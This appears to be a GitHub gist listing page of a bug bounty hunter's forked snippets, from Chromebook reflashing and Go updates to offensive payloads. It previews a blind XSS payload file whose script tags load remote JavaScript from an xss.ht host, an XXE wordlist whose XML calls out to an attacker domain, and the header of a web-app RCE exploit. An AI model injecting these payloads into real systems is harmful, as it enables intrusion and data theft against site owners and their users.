ruevaughn / weedshop_exploit.py

Created July 3, 2023 07:12 — forked from pich4ya/weedshop_exploit.py

Weed Shop RCE Exploit

	#!/usr/bin/env python
	# @author Pichaya Morimoto ([email protected])
	# 2023-03-07
	# Weed Shop RCE Exploit

	import requests

	def create_dbfile(filename):
	# Vulnerability 1: IP Spoofing
	# File: function.php

ruevaughn / asus c201.md

Created July 3, 2023 06:57 — forked from 0xBADCA7/asus c201.md

Disabling SPI write protection, reflashing, and unbricking an Asus Chromebook C201

####Disabling SPI write protection

Put the Chromebook in developer-mode:

With machine powered off, hold down Esc and Refresh(F3) while hitting power button
At warning prompt, hit Control+D, then Enter at prompt about enabling developer mode
Machine will format itself

Now remove the write-protect screw to enable flashrom to flash new Coreboot/Libreboot.

Flip powered-off machine over and remove 8 philips-head screws. 2 are located under rubber feet.

ruevaughn / update-golang.md

Created July 1, 2023 18:38 — forked from nikhita/update-golang.md

How to update the Go version

System: Debian/Ubuntu/Fedora. Might work for others as well.

As mentioned here, to update a go version you will first need to uninstall the original version.

To uninstall, delete the /usr/local/go directory by:

ruevaughn / bxss-payload.txt

Created July 1, 2023 18:01 — forked from Huntinex/bxss-payload.txt

	"><script src=https://username.xss.ht></script>
	'><script src=https://username.xss.ht></script>
	";eval('var a=document.createElement(\'script\');a.src=\'https://username.xss.ht\';document.body.appendChild(a)')

ruevaughn / report.py

Created July 1, 2023 17:59 — forked from Huntinex/report.py

Automatic bug bounty report generator

	import poe, sys

	client = poe.Client("<POE_API_KEY_HERE>")
	title=sys.argv[1]
	path=sys.argv[2]
	more=""
	if len(sys.argv) > 3:
	more="\" and here is more information: "+sys.argv[3]

	message="""generate a bug bounty report for me (hackerone.com), the title of the bug is """+title+""" and the vulnerability path is \""""+path+more+"""

ruevaughn / file.txt

Created June 24, 2023 05:18 — forked from m4ll0k/file.txt

ruevaughn / gist:5d3ab66e95c148ab80acaccdbfc73885

Created June 24, 2023 05:14 — forked from allada/gist:c10ca4a5751b6546dbec

SCAC codes

This file has been truncated, but you can view the full file.

	*M-UNKNOWN MEXICAN TRUCKING COMPANY
	8CON CONTSHIP CONTAINER LINE
	99M UNKNOWN MEXICAN OVERLAND CARRIER
	AAAB AAA MOTORS
	AAAC AAACTION TRANSPORTATION INC
	AAAD A A A DELIVERY INC
	AAAG ATC LOGISTICS INC
	AAAO AAMODT INC
	AAAU ASIA CONTAINER LEASING CO LTD
	AAAW AAA WALKER TRANSPORTATION SERVICES

ruevaughn / xxe-payloads.txt

Created June 24, 2023 05:13 — forked from honoki/xxe-payloads.txt

XXE bruteforce wordlist including local DTD payloads from https://github.com/GoSecure/dtd-finder

	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x SYSTEM "http://xxe-doctype-system.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x PUBLIC "" "http://xxe-doctype-public.yourdomain[.]com/"><x />
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe SYSTEM "http://xxe-entity-system.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY xxe PUBLIC "" "http://xxe-entity-public.yourdomain[.]com/">]><x>&xxe;</x>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe SYSTEM "http://xxe-paramentity-system.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE x [<!ENTITY % xxe PUBLIC "" "http://xxe-paramentity-public.yourdomain[.]com/">%xxe;]><x/>
	<?xml version="1.0" encoding="utf-8" standalone="no" ?><x xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xxe-xsi-schemalocation.y

ruevaughn / gist:19a682390bc63c56777dee5bfaf6b857

Created June 24, 2023 04:42 — forked from agungf/gist:8803512

Remove passphrase (password) from private RSA key

	Should also work for:

	[v] any OpenSSH installation

	Given, your key is in id_rsa
	1
	Passphrase is needed?


	Try some host which has your public key (id_rsa.pub)

ruevaughn / gist:4ef2af2eceec54791f4581600f070f2e

Created June 24, 2023 04:41 — forked from mswell/gist:348493f33c061b15203f379de8453251

Remove passphrase (password) from private RSA key

	Should also work for:

	[v] any OpenSSH installation

	Given, your key is in id_rsa
	1
	Passphrase is needed?


	Try some host which has your public key (id_rsa.pub)

Chase Jensen ruevaughn

How to update the Go version